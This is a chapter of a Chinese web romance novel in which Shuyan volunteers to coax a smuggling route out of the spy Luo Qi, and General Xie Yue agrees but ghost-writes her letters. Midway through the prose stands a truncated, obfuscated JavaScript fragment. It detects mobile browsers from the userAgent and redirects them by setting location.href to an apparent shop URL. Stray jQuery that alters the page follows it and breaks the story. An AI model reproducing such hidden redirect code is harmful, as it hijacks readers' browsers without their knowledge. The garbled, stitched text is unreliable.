36. 第一次见他动怒

作品:《夫人今天答应圆房了吗

    魏廉下意识看向谢越。


    谢越眉峰一展又很快蹙起,难得休假她却连府邸都没回,难道——


    注意到魏廉的目光,谢越眉头一挑:“等我请你呢?”


    魏廉嘁了一声,“知道了,带她过来吧。”


    “是。”


    门打开,纾延进来。


    听到魏廉在谢越那里,她立刻想到大概他们也正在商议这件事。


    迎上谢越关切的目光,纾延道:“我想我知道宋家他们把人藏在哪里了!”


    此言一出,谢越和魏廉立刻交换了一个眼神。


    “你说。”


    “我想,就是在西河村向北二十里的前朝皇陵里。”


    谢越没有开口。


    纾延以为他不信,立刻将今天发现的种种疑点,简明扼要地讲明。


    谢越在听她提到游医时打断她:“你说的那个游医是不是姓罗,叫罗祈?”


    纾延惊讶地点头,继而道:“他果然很可疑吗?”


    他却没有立刻回答她,反而道:“你觉得他哪里可疑?”


    “言谈举止,仿若孔雀开屏一样,”纾延微一沉吟,“我想他大概知道我的身份。”


    如果不是在柳镇有着要命的眼线,就是曾在柳镇见过她!


    明知道她的身份,举止却还如此轻浮,实在很难让人不怀疑。


    谢越眉头紧皱:“他轻薄于你?”


    “那倒谈不上——但是我从他那见到了这把匕首,郑颐说这和宋家暗算我的柳叶刀一样都是出自他叔叔之手!”


    见他脸上没有太大波动,纾延道:“这个人,你们是不是盯他很久了?”


    谢越深深看她一眼,却似乎还在在意她上一句的回答。


    “这个人,就是西凉在柳镇最后的奸细。”


    至此,一切似乎都能串联起来了!


    纾延难掩惊讶:“那你们——”


    “你已经知道宋家在私通西凉,贩卖兵器给他们,”谢越预判了她的问题,“而罗祈就是那个牵线的人。


    “西凉留在柳镇的钉子这些年已经被拔除的七七八八,这个罗祈是他们的领头人,一直藏得很深,直到前几天,我们才锁定他的身份。”


    “那为什么不抓他呢?”


    “宋家偷运兵器给西凉的完整路线,只有这个人知道。”魏廉道。


    谢越颔首。


    纾延若有所思。


    谢越道:“方才我与子敬商议,也认为皇陵最为可疑,加上你送来的消息,几乎可以确定了。我会派人往这个方向追查,至于那个罗祈——”


    “交给我吧。”


    谢越愕然:“什么?”


    纾延又重复了一遍,“交给我吧。你不相信我吗?”


    她后退一步,将以扇掩面的魏廉也让进视线范围,“他明知我的身份,却还故意靠近想与我攀上关系,此人骨子里一定十分轻妄,且所图甚大——我有把握,能从他口中诈出路线!”


    “不行!”


    “为什么?”纾延不解,“这条路线对我们很重要不是吗?你们跟了那么久都没能得到完整的路线,这一定是条极其隐秘却轻便的路线!如果能得到它,说不定我们可以打西凉一个措手不及——更重要的是,如果放掉它,它将成为日后我们后方最大的隐患,不是吗?”


    “他是担心你。”魏廉冷不丁道。


    纾延一怔,魏廉状若无意般摇着扇子:“罗祈此人阴险狡诈,手段毒辣,我们被他出卖的人都死状凄惨,下场惨烈——你又毕竟是个姑娘家。”


    “你怕他会占我便宜?”纾延着急地握住他的手,“不会的,我不会让你的名声因我受辱的,我——”


    “纾延!”他声音发紧,眼底晦暗难明,“名声这种东西,我谢越从来不屑一顾!可我不会让任何人危害你的名声——但是,如果你受到了什么伤害,我就是将罗祈千刀万剐了又能怎样?”


    他眼底的光如此炽热,纾延仿佛被烫了一下,下意识地后退,可他抓着她的手腕不许她退。


    良久,谢越闭了下眼睛,抓着她的手微微一顿,“算了,我答应你。”


    原本已经不动声色溜到门边的魏廉脚步一顿:“明遇?”


    谢越苦笑了一下,“我不答应,你也会做的,对吧。”


    “谢越……”


    “但我们要约法三章。”他仿佛恢复了冷静。


    “你现在在细柳营,要想接近他,最稳妥的方式便是书信。不能在他手里留下你的笔墨——以后每晚你便托口来找子敬,我会为你代笔。


    “你如果要见他,必须提前告知我。


    “如果你不答应,我——”


    “我答应。”


    他眼中的锋利退去,仿佛又回到了平日冷静淡然的样子。


    如果她不答应,他预备怎样呢?


    谢越轻轻抚了下她的发顶,“好,时辰不早了,你回去吧。”


    又转身取来一直放在案上的药瓶交给她,“就当是今晚的说辞吧。”


    他的眼底深沉如海,纾延深深看他一眼,这是他第一次在她面前流露出这么明显的情绪。


    一种说不清道不明的感情悄悄从心底累积,纾延垂下眼:“嗯。”


    ***


    回到休息的棚屋,不等她开口,钱三飞便先道:“刚才他们问你去哪儿了,我跟他们说你去找魏先生拿药了。”


    言下之意自然是你就不要再用这样的借口糊弄我了。


    纾延失笑,只讲了皇陵的事,并且告诉他们这件事魏廉会告诉谢越,这件事不需要他们再插手了。


    他们的家人一定会被救回来的。


    钱三飞看了她一眼,欲言又止。


    纾延没注意,他凑近郑颐:“是我的错觉吗?咱们感觉他这趟回来,魂不守舍的。”


    该不会是这件事远比他们设想的要更复杂更麻烦吧!


    郑颐不言。


    而从这天开始,每天晚饭后,纾延都会消失一段时间。


    众人问起,她都说是去找魏先生请教。


    连对钱三飞和郑颐,她都是一样的说辞。


    没人知道,事实上从头到尾,魏廉连她的面都没见过几次。


    他自己的房间却把他赶了出去。


    一灯如昼,谢越执笔落墨。


    这些时日,一直是他在以她的名义与罗祈联系。


    不许她亲自执笔的原因是怕日后拿着她的笔墨攀扯不清,污她名声。


    纾延笑:“将军的笔墨不是比我的还要珍贵吗?”


    他看她一眼,没理她的调侃,而是左手执笔,写下一行小字。


    与他平日落笔不同,这行字写得倒颇有几分秀气。


    纾延难掩惊讶:“你也会用左手写字?”


    “也?”


    他连头都没抬,纾延却陡然有一种被人窥破心事的窘迫感。


    连她自己都没意识到,就这样脱口而出了——


    “……家中有位兄长,也会用左手写字。”纾延垂下眼,她已经很久不曾想起那个人了。


    怕他继续追问,纾延赶紧道:“你之前难道都没有收到过姑娘家传情的纸笺吗?”


    谢越笔尖一顿,“……嗯?”


    “昨日展信佳,今日一切安好,问君安。”她念了一遍他写的内容。


    谢越无辜地看向她。


    写的和公函一样,哪有人是这样传情的?


    “将军如此俊俏,”她故意笑道,“难道就没有女郎芳心暗许吗?”


    谢越眸色一深,纾延低头执笔,错过了他眼底的情绪。


    “昨日展信,今日思君,缘有一事相问,辗转反侧,梁下燕子归否?”


    她信笔一写,却不是汉字,而是羌文。


    正要与谢越解释,他却抬眼看她,“夫人倒是熟练得很呢。”


    纾延难掩惊讶:“你也懂羌语?”


    “知己知彼,才能百战百胜,”他别开眼,“不是吗?”


    “那早知道,我便请你教我了。”纾延笑道。


    谢越提笔,将她刚写的内容誊抄了一遍。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036691|192742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >这些天训练的每一个间隙,她总会不经意地想起他,仿佛他一直就在那里,她却到今天才看见他似的。


    再次见到他时,连一向坦然的目光都变得躲闪起来,对此,他仿佛一无所知。


    望着他颔首执笔时眼底平静和认真,纾延垂下眼,竟也跟着平静下来。


    或许只是她太敏感了而已,他待她,如兄如友,会为她的安危挂心也是自然而然的事。


    反倒是她自己,心中竟率先生出不坦荡来。


    想到这里,她不禁有些惭愧。


    等回到休息的棚屋,钱三飞和郑颐都围过来。


    钱三飞率先出声:“原本我们还担心——可看你今天的样子,是又没事了?”


    纾延惊讶:“担心什么?”


    两个人竟然都沉默了一下。


    若只是郑颐便罢了,连一向爽快直言的钱三飞都一副难以启齿的样子,看得纾延更加奇怪:“你们是不是在担心叔叔的事情?那事儿确实有些棘手,但是——”


    “你不必向我们解释,我们也能猜到,”郑颐道,“上峰自然有上峰的意思。”


    那是——


    钱三飞道:“我们原本是担心你是不是要瞒着我们一个人去铤而走险——可看你今日一副如释重负的样子又不像了——所以前几日莫非是你与魏先生吵架了?”


    “……我前几天、很明显吗?”


    钱三飞点头,郑颐却摇头。


    纾延疑惑。


    钱三飞也疑惑,“不是、我们……啊?”


    “是在我们眼中明显,其他人只会当你是攀了关系,愈加高深难测而已。”郑颐解释道。


    “哦。”纾延了然,这一点她前几天便在窦横那里有所领教了。


    可他二人却显然一副你根本不懂的样子。


    钱三飞鬼鬼祟祟地凑近她,压低声音道:“他们都说你从军前是魏先生养的书童呢——你也知道,魏先生是那种地方的常客嘛。”


    纾延愣了愣,又看了郑颐一眼,才后知后觉所谓的“书童”是什么意思!


    “……啊?”


    “你别生气,”钱三飞道,“你长得那么好看,他们这是嫉妒!”


    纾延被气笑了:“这里是什么地方?是大家都把脑袋寄在阎王殿的地方,建功立业都是以命相搏的真本事,以色事人这种脏水也能泼到这里?!”


    郑颐按住她肩膀,“军营里‘以色事人’也并不稀奇,大家都有无可奈何的时候。”


    纾延一愣,他眼中的郑重让她忽然觉得自己好像说错了什么话。无可奈何——难道除了她经历过的那些陷害排挤,这里还有她不知道的更腌臜的压迫吗?


    钱三飞耸耸肩,不知道是安慰她还是转移话题:“都说将军治军严明,咱们营里我是还没见过了,不过这在村子里都还是司空见惯的——不过石头啊,你前些天心神不宁的样子倒颇像是——”


    “是什么?”


    钱三飞皱眉苦思,郑颐接道:“情窦初开。”


    “对对对。”


    “……”


    纾延扶额,甚至觉得好笑,连先前被误会与魏廉有首尾时的怒火都消散了。


    “要说初开,早就开过了。”


    钱三飞顿时睁大了眼。


    纾延微笑道:“可惜被人抛弃了。”


    “连你这么好看的人她都不要,长没长眼呐!”


    “只要握住权势,”纾延凉凉道,“什么样的美人没有呢。”


    二人一时都是沉默。


    纾延自觉无趣,正要提点二人早点洗洗睡吧,却听钱三飞语重心长道:“石头你……果然喜欢的是男人啊。”


    纾延一呆:“啊?”


    ***


    那时,她完全忽略了他们指的“情窦初开“并非是萧景远。


    三日后,他们奉命轮班巡夜。


    忽然,走在最前方的钱三飞声音一高!


    郑颐蹙眉:“你稳重点!”


    却见钱三飞白着脸回过头:“你、你们快来,这里有个鬼!”